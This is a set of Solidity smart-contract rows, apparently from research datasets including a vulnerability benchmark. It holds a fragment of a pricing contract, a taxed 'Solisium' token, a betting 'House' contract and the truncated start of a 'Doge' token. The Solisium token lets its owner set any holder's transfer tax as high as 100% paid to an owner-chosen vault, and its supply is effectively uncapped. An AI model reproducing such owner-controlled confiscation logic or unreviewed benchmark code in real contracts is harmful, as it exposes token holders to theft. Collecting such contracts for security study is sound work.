SafeMath.sub((((tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply/1e18)))-tokenPriceIncremental_)*(tokens_ - 1e18)),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2)
/1e18);
return _etherReceived;
}
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 193,467 | 13,951 |
cb3297c0b881cbe815bb0cc18b203bfeb8a4fb5bf92cc1e4fefee423c283b68f
| 19,363 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/59/59f59b1e9b2c1421779e89b446ed03ad56fc41ac_SolisiumToken.sol
| 3,199 | 12,241 |
pragma solidity ^0.4.25;
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, 'only owner');
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Whitelist is Ownable {
mapping(address => bool) public whitelist;
event WhitelistedAddressAdded(address addr);
event WhitelistedAddressRemoved(address addr);
modifier onlyWhitelisted() {
require(whitelist[msg.sender], 'not whitelisted');
_;
}
function addAddressToWhitelist(address addr) onlyOwner public returns(bool success) {
if (!whitelist[addr]) {
whitelist[addr] = true;
emit WhitelistedAddressAdded(addr);
success = true;
}
}
function addAddressesToWhitelist(address[] addrs) onlyOwner public returns(bool success) {
for (uint256 i = 0; i < addrs.length; i++) {
if (addAddressToWhitelist(addrs[i])) {
success = true;
}
}
}
function removeAddressFromWhitelist(address addr) onlyOwner public returns(bool success) {
if (whitelist[addr]) {
whitelist[addr] = false;
emit WhitelistedAddressRemoved(addr);
success = true;
}
}
function removeAddressesFromWhitelist(address[] addrs) onlyOwner public returns(bool success) {
for (uint256 i = 0; i < addrs.length; i++) {
if (removeAddressFromWhitelist(addrs[i])) {
success = true;
}
}
}
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
interface BEP20Basic {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is BEP20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract BEP20 is BEP20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is BEP20, BasicToken {
mapping(address => mapping(address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Whitelist {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyWhitelisted canMint public returns (bool) {
require(_to != address(0));
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyWhitelisted canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract SolisiumToken is MintableToken {
struct Stats {
uint256 txs;
uint256 minted;
}
string public constant name = "Solisium Token";
string public constant symbol = "SOLS";
uint8 public constant decimals = 18;
uint256 public constant MAX_INT = 2**256 - 1;
uint256 public constant targetSupply = MAX_INT;
uint256 public totalTxs;
uint256 public players;
uint256 private mintedSupply_;
mapping(address => Stats) private stats;
address public vaultAddress;
uint8 constant internal taxDefault = 10; // 10% tax on transfers
mapping (address => uint8) private _customTaxRate;
mapping (address => bool) private _hasCustomTax;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
event TaxPayed(address from, address vault, uint256 amount);
constructor(uint256 _initialMint) Ownable() public {
addAddressToWhitelist(owner);
mint(owner, _initialMint * 1e18);
removeAddressFromWhitelist(owner);
}
function setVaultAddress(address _newVaultAddress) public onlyOwner {
vaultAddress = _newVaultAddress;
}
function mint(address _to, uint256 _amount) public returns (bool) {
//Never fail, just don't mint if over
if (_amount == 0 || mintedSupply_.add(_amount) > targetSupply) {
return false;
}
//Mint
super.mint(_to, _amount);
mintedSupply_ = mintedSupply_.add(_amount);
if (mintedSupply_ == targetSupply) {
mintingFinished = true;
emit MintFinished();
}
if (stats[_to].txs == 0) {
players += 1;
}
stats[_to].txs += 1;
stats[_to].minted += _amount;
totalTxs += 1;
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
return false;
}
function calculateTransactionTax(uint256 _value, uint8 _tax) internal returns (uint256 adjustedValue, uint256 taxAmount){
taxAmount = _value.mul(_tax).div(100);
adjustedValue = _value.mul(SafeMath.sub(100, _tax)).div(100);
return (adjustedValue, taxAmount);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
(uint256 adjustedValue, uint256 taxAmount) = calculateTransferTaxes(_from, _value);
if (taxAmount > 0){
require(super.transferFrom(_from, vaultAddress, taxAmount));
emit TaxPayed(_from, vaultAddress, taxAmount);
}
require(super.transferFrom(_from, _to, adjustedValue));
if (stats[_to].txs == 0) {
players += 1;
}
stats[_to].txs += 1;
stats[_from].txs += 1;
totalTxs += 1;
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
(uint256 adjustedValue, uint256 taxAmount) = calculateTransferTaxes(msg.sender, _value);
if (taxAmount > 0){
require(super.transfer(vaultAddress, taxAmount));
emit TaxPayed(msg.sender, vaultAddress, taxAmount);
}
require(super.transfer(_to, adjustedValue));
if (stats[_to].txs == 0) {
players += 1;
}
stats[_to].txs += 1;
stats[msg.sender].txs += 1;
totalTxs += 1;
return true;
}
function calculateTransferTaxes(address _from, uint256 _value) public view returns (uint256 adjustedValue, uint256 taxAmount){
adjustedValue = _value;
taxAmount = 0;
if (!_isExcluded[_from]) {
uint8 taxPercent = taxDefault; // set to default tax 10%
// set custom tax rate if applicable
if (_hasCustomTax[_from]){
taxPercent = _customTaxRate[_from];
}
(adjustedValue, taxAmount) = calculateTransactionTax(_value, taxPercent);
}
return (adjustedValue, taxAmount);
}
function remainingMintableSupply() public view returns (uint256) {
return targetSupply.sub(mintedSupply_);
}
function cap() public view returns (uint256) {
return targetSupply;
}
function mintedSupply() public view returns (uint256) {
return mintedSupply_;
}
function statsOf(address player) public view returns (uint256, uint256, uint256){
return (balanceOf(player), stats[player].txs, stats[player].minted);
}
//
function mintedBy(address player) public view returns (uint256){
return stats[player].minted;
}
function setAccountCustomTax(address account, uint8 taxRate) external onlyOwner() {
require(taxRate >= 0 && taxRate <= 100, "Invalid tax amount");
_hasCustomTax[account] = true;
_customTaxRate[account] = taxRate;
}
function removeAccountCustomTax(address account) external onlyOwner() {
_hasCustomTax[account] = false;
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_isExcluded[account] = false;
delete _excluded[_excluded.length - 1];
break;
}
}
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
}
| 124,461 | 13,952 |
0a7c4ce9b58108a1ee2f511a084dd2fd93a1f76b47ee7577ebf73f428e867a05
| 22,808 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x7cbb952a448672eb6ea3cc869cdcec6cf6163e29.sol
| 5,886 | 22,452 |
pragma solidity ^0.5.0;
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b != 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function mulByFraction(uint256 number, uint256 numerator, uint256 denominator) internal pure returns (uint256) {
return div(mul(number, numerator), denominator);
}
}
contract Owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0x0));
owner = newOwner;
}
}
interface OracleContract {
function owner() external view returns (address);
function getEventForHousePlaceBet(uint id) external view returns (uint closeDateTime, uint freezeDateTime, bool isCancelled);
function getEventOutcomeIsSet(uint eventId, uint outputId) external view returns (bool isSet);
function getEventOutcome(uint eventId, uint outputId) external view returns (uint outcome);
function getEventOutcomeNumeric(uint eventId, uint outputId) external view returns(uint256 outcome1, uint256 outcome2,uint256 outcome3,uint256 outcome4, uint256 outcome5, uint256 outcome6);
}
interface HouseContract {
function owner() external view returns (address);
function isHouse() external view returns (bool);
}
contract House is SafeMath, Owned {
enum BetType { headtohead, multiuser, poolbet }
enum BetEvent { placeBet, callBet, removeBet, refuteBet, settleWinnedBet, settleCancelledBet, increaseWager, cancelledByHouse }
uint private betNextId;
struct Bet {
uint id;
address oracleAddress;
uint eventId;
uint outputId;
uint outcome;
bool isOutcomeSet;
uint closeDateTime;
uint freezeDateTime;
bool isCancelled;
uint256 minimumWager;
uint256 maximumWager;
uint256 payoutRate;
address createdBy;
BetType betType;
}
struct HouseData {
bool managed;
string name;
string creatorName;
string countryISO;
address oracleAddress;
address oldOracleAddress;
bool newBetsPaused;
uint housePercentage;
uint oraclePercentage;
uint version;
string shortMessage;
}
address public _newHouseAddress;
HouseData public houseData;
mapping (uint => Bet) public bets;
uint public totalBets;
uint public totalAmountOnBets;
mapping (uint => uint256) public betTotalAmount;
mapping (uint => uint) public betTotalBets;
mapping (uint => uint256) public betRefutedAmount;
mapping (uint => mapping (uint => uint256)) public betForcastTotalAmount;
mapping (address => mapping (uint => uint256)) public playerBetTotalAmount;
mapping (address => mapping (uint => uint)) public playerBetTotalBets;
mapping (address => mapping (uint => mapping (uint => uint256))) public playerBetForecastWager;
mapping (address => mapping (uint => uint256)) public playerOutputFromBet;
mapping (address => mapping (uint => bool)) public playerBetRefuted;
mapping (address => mapping (uint => bool)) public playerBetSettled;
mapping (address => uint) public totalPlayerBets;
mapping (address => uint256) public totalPlayerBetsAmount;
mapping (address => uint256) public balance;
mapping (address => uint) public ownerPerc;
address[] public owners;
mapping (uint => bool) public housePaid;
mapping (uint => uint256) public houseEdgeAmountForBet;
mapping (uint => uint256) public oracleEdgeAmountForBet;
uint256 public houseTotalFees;
mapping (address => uint256) public oracleTotalFees;
event HouseCreated();
event HousePropertiesUpdated();
event BetPlacedOrModified(uint id, address sender, BetEvent betEvent, uint256 amount, uint forecast, string createdBy, uint closeDateTime);
event transfer(address indexed wallet, uint256 amount,bool inbound);
constructor(bool managed, string memory houseName, string memory houseCreatorName, string memory houseCountryISO, address oracleAddress, address[] memory ownerAddress, uint[] memory ownerPercentage, uint housePercentage,uint oraclePercentage, uint version) public {
require(add(housePercentage,oraclePercentage)<1000,"House + Oracle percentage should be lower than 100%");
houseData.managed = managed;
houseData.name = houseName;
houseData.creatorName = houseCreatorName;
houseData.countryISO = houseCountryISO;
houseData.housePercentage = housePercentage;
houseData.oraclePercentage = oraclePercentage;
houseData.oracleAddress = oracleAddress;
houseData.shortMessage = "";
houseData.newBetsPaused = true;
houseData.version = version;
uint ownersTotal = 0;
for (uint i = 0; i<ownerAddress.length; i++) {
owners.push(ownerAddress[i]);
ownerPerc[ownerAddress[i]] = ownerPercentage[i];
ownersTotal += ownerPercentage[i];
}
require(ownersTotal == 1000);
emit HouseCreated();
}
function isHouse() public pure returns(bool response) {
return true;
}
function updateHouseProperties(string memory houseName, string memory houseCreatorName, string memory houseCountryISO) onlyOwner public {
houseData.name = houseName;
houseData.creatorName = houseCreatorName;
houseData.countryISO = houseCountryISO;
emit HousePropertiesUpdated();
}
function changeHouseOracle(address oracleAddress, uint oraclePercentage) onlyOwner public {
require(add(houseData.housePercentage,oraclePercentage)<1000,"House + Oracle percentage should be lower than 100%");
if (oracleAddress != houseData.oracleAddress) {
houseData.oldOracleAddress = houseData.oracleAddress;
houseData.oracleAddress = oracleAddress;
}
houseData.oraclePercentage = oraclePercentage;
emit HousePropertiesUpdated();
}
function changeHouseEdge(uint housePercentage) onlyOwner public {
require(housePercentage != houseData.housePercentage,"New percentage is identical with current");
require(add(housePercentage,houseData.oraclePercentage)<1000,"House + Oracle percentage should be lower than 100%");
houseData.housePercentage = housePercentage;
emit HousePropertiesUpdated();
}
function updateBetDataFromOracle(uint betId) private {
if (!bets[betId].isOutcomeSet) {
(bets[betId].isOutcomeSet) = OracleContract(bets[betId].oracleAddress).getEventOutcomeIsSet(bets[betId].eventId,bets[betId].outputId);
if (bets[betId].isOutcomeSet) {
(bets[betId].outcome) = OracleContract(bets[betId].oracleAddress).getEventOutcome(bets[betId].eventId,bets[betId].outputId);
}
}
if (!bets[betId].isCancelled) {
(bets[betId].closeDateTime, bets[betId].freezeDateTime, bets[betId].isCancelled) = OracleContract(bets[betId].oracleAddress).getEventForHousePlaceBet(bets[betId].eventId);
}
if (!bets[betId].isOutcomeSet && bets[betId].freezeDateTime <= now) {
bets[betId].isCancelled = true;
}
}
function placeBet(uint eventId, BetType betType,uint outputId, uint forecast, uint256 wager, uint closingDateTime, uint256 minimumWager, uint256 maximumWager, uint256 payoutRate, string memory createdBy) public {
require(wager>0,"Wager should be greater than zero");
require(balance[msg.sender]>=wager,"Not enough balance");
require(!houseData.newBetsPaused,"Bets are paused right now");
betNextId += 1;
bets[betNextId].id = betNextId;
bets[betNextId].oracleAddress = houseData.oracleAddress;
bets[betNextId].outputId = outputId;
bets[betNextId].eventId = eventId;
bets[betNextId].betType = betType;
bets[betNextId].createdBy = msg.sender;
updateBetDataFromOracle(betNextId);
require(!bets[betNextId].isCancelled,"Event has been cancelled");
require(!bets[betNextId].isOutcomeSet,"Event has already an outcome");
if (closingDateTime>0) {
bets[betNextId].closeDateTime = closingDateTime;
}
require(bets[betNextId].closeDateTime >= now,"Close time has passed");
if (minimumWager != 0) {
bets[betNextId].minimumWager = minimumWager;
} else {
bets[betNextId].minimumWager = wager;
}
if (maximumWager != 0) {
bets[betNextId].maximumWager = maximumWager;
}
if (payoutRate != 0) {
bets[betNextId].payoutRate = payoutRate;
}
playerBetTotalBets[msg.sender][betNextId] = 1;
betTotalBets[betNextId] = 1;
betTotalAmount[betNextId] = wager;
totalBets += 1;
totalAmountOnBets += wager;
if (houseData.housePercentage>0) {
houseEdgeAmountForBet[betNextId] += mulByFraction(wager, houseData.housePercentage, 1000);
}
if (houseData.oraclePercentage>0) {
oracleEdgeAmountForBet[betNextId] += mulByFraction(wager, houseData.oraclePercentage, 1000);
}
balance[msg.sender] -= wager;
betForcastTotalAmount[betNextId][forecast] = wager;
playerBetTotalAmount[msg.sender][betNextId] = wager;
playerBetForecastWager[msg.sender][betNextId][forecast] = wager;
totalPlayerBets[msg.sender] += 1;
totalPlayerBetsAmount[msg.sender] += wager;
emit BetPlacedOrModified(betNextId, msg.sender, BetEvent.placeBet, wager, forecast, createdBy, bets[betNextId].closeDateTime);
}
function callBet(uint betId, uint forecast, uint256 wager, string memory createdBy) public {
require(wager>0,"Wager should be greater than zero");
require(balance[msg.sender]>=wager,"Not enough balance");
require(playerBetForecastWager[msg.sender][betId][forecast] == 0,"Already placed a bet for this forecast, use increaseWager method instead");
require(bets[betId].betType != BetType.headtohead || betTotalBets[betId] == 1,"Head to head bet has been already called");
require(wager>=bets[betId].minimumWager,"Wager is lower than the minimum accepted");
require(bets[betId].maximumWager==0 || wager<=bets[betId].maximumWager,"Wager is higher then the maximum accepted");
updateBetDataFromOracle(betId);
require(!bets[betId].isCancelled,"Bet has been cancelled");
require(!bets[betId].isOutcomeSet,"Event has already an outcome");
require(bets[betId].closeDateTime >= now,"Close time has passed");
betTotalBets[betId] += 1;
betTotalAmount[betId] += wager;
totalAmountOnBets += wager;
if (houseData.housePercentage>0) {
houseEdgeAmountForBet[betId] += mulByFraction(wager, houseData.housePercentage, 1000);
}
if (houseData.oraclePercentage>0) {
oracleEdgeAmountForBet[betId] += mulByFraction(wager, houseData.oraclePercentage, 1000);
}
balance[msg.sender] -= wager;
playerBetTotalBets[msg.sender][betId] += 1;
betForcastTotalAmount[betId][forecast] += wager;
playerBetTotalAmount[msg.sender][betId] += wager;
playerBetForecastWager[msg.sender][betId][forecast] = wager;
totalPlayerBets[msg.sender] += 1;
totalPlayerBetsAmount[msg.sender] += wager;
emit BetPlacedOrModified(betId, msg.sender, BetEvent.callBet, wager, forecast, createdBy, bets[betId].closeDateTime);
}
function increaseWager(uint betId, uint forecast, uint256 additionalWager, string memory createdBy) public {
require(additionalWager>0,"Increase wager amount should be greater than zero");
require(balance[msg.sender]>=additionalWager,"Not enough balance");
require(playerBetForecastWager[msg.sender][betId][forecast] > 0,"Haven't placed any bet for this forecast. Use callBet instead");
require(bets[betId].betType != BetType.headtohead || betTotalBets[betId] == 1,"Head to head bet has been already called");
uint256 wager = playerBetForecastWager[msg.sender][betId][forecast] + additionalWager;
require(bets[betId].maximumWager==0 || wager<=bets[betId].maximumWager,"The updated wager is higher then the maximum accepted");
updateBetDataFromOracle(betId);
require(!bets[betId].isCancelled,"Bet has been cancelled");
require(!bets[betId].isOutcomeSet,"Event has already an outcome");
require(bets[betId].closeDateTime >= now,"Close time has passed");
betTotalAmount[betId] += additionalWager;
totalAmountOnBets += additionalWager;
if (houseData.housePercentage>0) {
houseEdgeAmountForBet[betId] += mulByFraction(additionalWager, houseData.housePercentage, 1000);
}
if (houseData.oraclePercentage>0) {
oracleEdgeAmountForBet[betId] += mulByFraction(additionalWager, houseData.oraclePercentage, 1000);
}
balance[msg.sender] -= additionalWager;
betForcastTotalAmount[betId][forecast] += additionalWager;
playerBetTotalAmount[msg.sender][betId] += additionalWager;
playerBetForecastWager[msg.sender][betId][forecast] += additionalWager;
totalPlayerBetsAmount[msg.sender] += additionalWager;
emit BetPlacedOrModified(betId, msg.sender, BetEvent.increaseWager, additionalWager, forecast, createdBy, bets[betId].closeDateTime);
}
function removeBet(uint betId, string memory createdBy) public {
require(bets[betId].createdBy == msg.sender,"Caller and player created don't match");
require(playerBetTotalBets[msg.sender][betId] > 0, "Player should has placed at least one bet");
require(betTotalBets[betId] == playerBetTotalBets[msg.sender][betId],"The bet has been called by other player");
updateBetDataFromOracle(betId);
bets[betId].isCancelled = true;
uint256 wager = betTotalAmount[betId];
betTotalBets[betId] = 0;
betTotalAmount[betId] = 0;
totalBets -= playerBetTotalBets[msg.sender][betId];
totalAmountOnBets -= wager;
houseEdgeAmountForBet[betId] = 0;
oracleEdgeAmountForBet[betId] = 0;
balance[msg.sender] += wager;
playerBetTotalAmount[msg.sender][betId] = 0;
totalPlayerBets[msg.sender] -= playerBetTotalBets[msg.sender][betId];
totalPlayerBetsAmount[msg.sender] -= wager;
playerBetTotalBets[msg.sender][betId] = 0;
emit BetPlacedOrModified(betId, msg.sender, BetEvent.removeBet, wager, 0, createdBy, bets[betId].closeDateTime);
}
function refuteBet(uint betId, string memory createdBy) public {
require(playerBetTotalAmount[msg.sender][betId]>0,"Caller hasn't placed any bet");
require(!playerBetRefuted[msg.sender][betId],"Already refuted");
updateBetDataFromOracle(betId);
require(bets[betId].isOutcomeSet, "Refute isn't allowed when no outcome has been set");
require(bets[betId].freezeDateTime > now, "Refute isn't allowed when Event freeze has passed");
playerBetRefuted[msg.sender][betId] = true;
betRefutedAmount[betId] += playerBetTotalAmount[msg.sender][betId];
if (betRefutedAmount[betId] >= betTotalAmount[betId]) {
bets[betId].isCancelled = true;
}
emit BetPlacedOrModified(betId, msg.sender, BetEvent.refuteBet, 0, 0, createdBy, bets[betId].closeDateTime);
}
function calculateBetOutcome(uint betId, bool isCancelled, uint forecast) public view returns (uint256 betOutcome) {
require(playerBetTotalAmount[msg.sender][betId]>0, "Caller hasn't placed any bet");
if (isCancelled) {
return playerBetTotalAmount[msg.sender][betId];
} else {
if (betForcastTotalAmount[betId][forecast]>0) {
uint256 totalBetAmountAfterFees = betTotalAmount[betId] - houseEdgeAmountForBet[betId] - oracleEdgeAmountForBet[betId];
return mulByFraction(totalBetAmountAfterFees, playerBetForecastWager[msg.sender][betId][forecast], betForcastTotalAmount[betId][forecast]);
} else {
return playerBetTotalAmount[msg.sender][betId] - mulByFraction(playerBetTotalAmount[msg.sender][betId], houseData.housePercentage, 1000) - mulByFraction(playerBetTotalAmount[msg.sender][betId], houseData.oraclePercentage, 1000);
}
}
}
function settleBet(uint betId, string memory createdBy) public {
require(playerBetTotalAmount[msg.sender][betId]>0, "Caller hasn't placed any bet");
require(!playerBetSettled[msg.sender][betId],"Already settled");
updateBetDataFromOracle(betId);
require(bets[betId].isCancelled || bets[betId].isOutcomeSet,"Bet should be cancelled or has an outcome");
require(bets[betId].freezeDateTime <= now,"Bet payments are freezed");
BetEvent betEvent;
if (bets[betId].isCancelled) {
betEvent = BetEvent.settleCancelledBet;
houseEdgeAmountForBet[betId] = 0;
oracleEdgeAmountForBet[betId] = 0;
playerOutputFromBet[msg.sender][betId] = playerBetTotalAmount[msg.sender][betId];
} else {
if (!housePaid[betId] && houseEdgeAmountForBet[betId] > 0) {
for (uint i = 0; i<owners.length; i++) {
balance[owners[i]] += mulByFraction(houseEdgeAmountForBet[betId], ownerPerc[owners[i]], 1000);
}
houseTotalFees += houseEdgeAmountForBet[betId];
}
if (!housePaid[betId] && oracleEdgeAmountForBet[betId] > 0) {
address oracleOwner = HouseContract(bets[betId].oracleAddress).owner();
balance[oracleOwner] += oracleEdgeAmountForBet[betId];
oracleTotalFees[bets[betId].oracleAddress] += oracleEdgeAmountForBet[betId];
}
if (betForcastTotalAmount[betId][bets[betId].outcome]>0) {
uint256 totalBetAmountAfterFees = betTotalAmount[betId] - houseEdgeAmountForBet[betId] - oracleEdgeAmountForBet[betId];
playerOutputFromBet[msg.sender][betId] = mulByFraction(totalBetAmountAfterFees, playerBetForecastWager[msg.sender][betId][bets[betId].outcome], betForcastTotalAmount[betId][bets[betId].outcome]);
} else {
playerOutputFromBet[msg.sender][betId] = playerBetTotalAmount[msg.sender][betId] - mulByFraction(playerBetTotalAmount[msg.sender][betId], houseData.housePercentage, 1000) - mulByFraction(playerBetTotalAmount[msg.sender][betId], houseData.oraclePercentage, 1000);
}
if (playerOutputFromBet[msg.sender][betId] > 0) {
betEvent = BetEvent.settleWinnedBet;
}
}
housePaid[betId] = true;
playerBetSettled[msg.sender][betId] = true;
balance[msg.sender] += playerOutputFromBet[msg.sender][betId];
emit BetPlacedOrModified(betId, msg.sender, betEvent, playerOutputFromBet[msg.sender][betId],0, createdBy, bets[betId].closeDateTime);
}
function() external payable {
balance[msg.sender] = add(balance[msg.sender],msg.value);
emit transfer(msg.sender,msg.value,true);
}
function isPlayer(address playerAddress) public view returns(bool) {
return (totalPlayerBets[playerAddress] > 0);
}
function updateShortMessage(string memory shortMessage) onlyOwner public {
houseData.shortMessage = shortMessage;
emit HousePropertiesUpdated();
}
function startNewBets(string memory shortMessage) onlyOwner public {
houseData.shortMessage = shortMessage;
houseData.newBetsPaused = false;
emit HousePropertiesUpdated();
}
function stopNewBets(string memory shortMessage) onlyOwner public {
houseData.shortMessage = shortMessage;
houseData.newBetsPaused = true;
emit HousePropertiesUpdated();
}
function linkToNewHouse(address newHouseAddress) onlyOwner public {
require(newHouseAddress!=address(this),"New address is current address");
require(HouseContract(newHouseAddress).isHouse(),"New address should be a House smart contract");
_newHouseAddress = newHouseAddress;
houseData.newBetsPaused = true;
emit HousePropertiesUpdated();
}
function unLinkNewHouse() onlyOwner public {
_newHouseAddress = address(0);
houseData.newBetsPaused = false;
emit HousePropertiesUpdated();
}
function cancelBet(uint betId) onlyOwner public {
require(bets[betId].freezeDateTime > now,"Freeze time passed");
require(houseData.managed, "Cancel available on managed Houses");
bets[betId].isCancelled = true;
emit BetPlacedOrModified(betId, msg.sender, BetEvent.cancelledByHouse, 0, 0, "", bets[betId].closeDateTime);
}
function withdraw(uint256 amount) public {
require(address(this).balance>=amount,"Insufficient House balance. Shouldn't have happened");
require(balance[msg.sender]>=amount,"Insufficient balance");
balance[msg.sender] = sub(balance[msg.sender],amount);
msg.sender.transfer(amount);
emit transfer(msg.sender,amount,false);
}
function withdrawToAddress(address payable destinationAddress,uint256 amount) public {
require(address(this).balance>=amount);
require(balance[msg.sender]>=amount,"Insufficient balance");
balance[msg.sender] = sub(balance[msg.sender],amount);
destinationAddress.transfer(amount);
emit transfer(msg.sender,amount,false);
}
}
| 164,948 | 13,953 |
57af46938cabb6dcbe27d0ff5e6102ad14a480a632d3e5bc7f5ac8e5a5c52fa6
| 13,630 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/8a/8aa60301dcce7433c4b6ac254aa804f442c1bc08_Doge.sol
| 3,297 | 12,841 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
interface IERC20 {
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
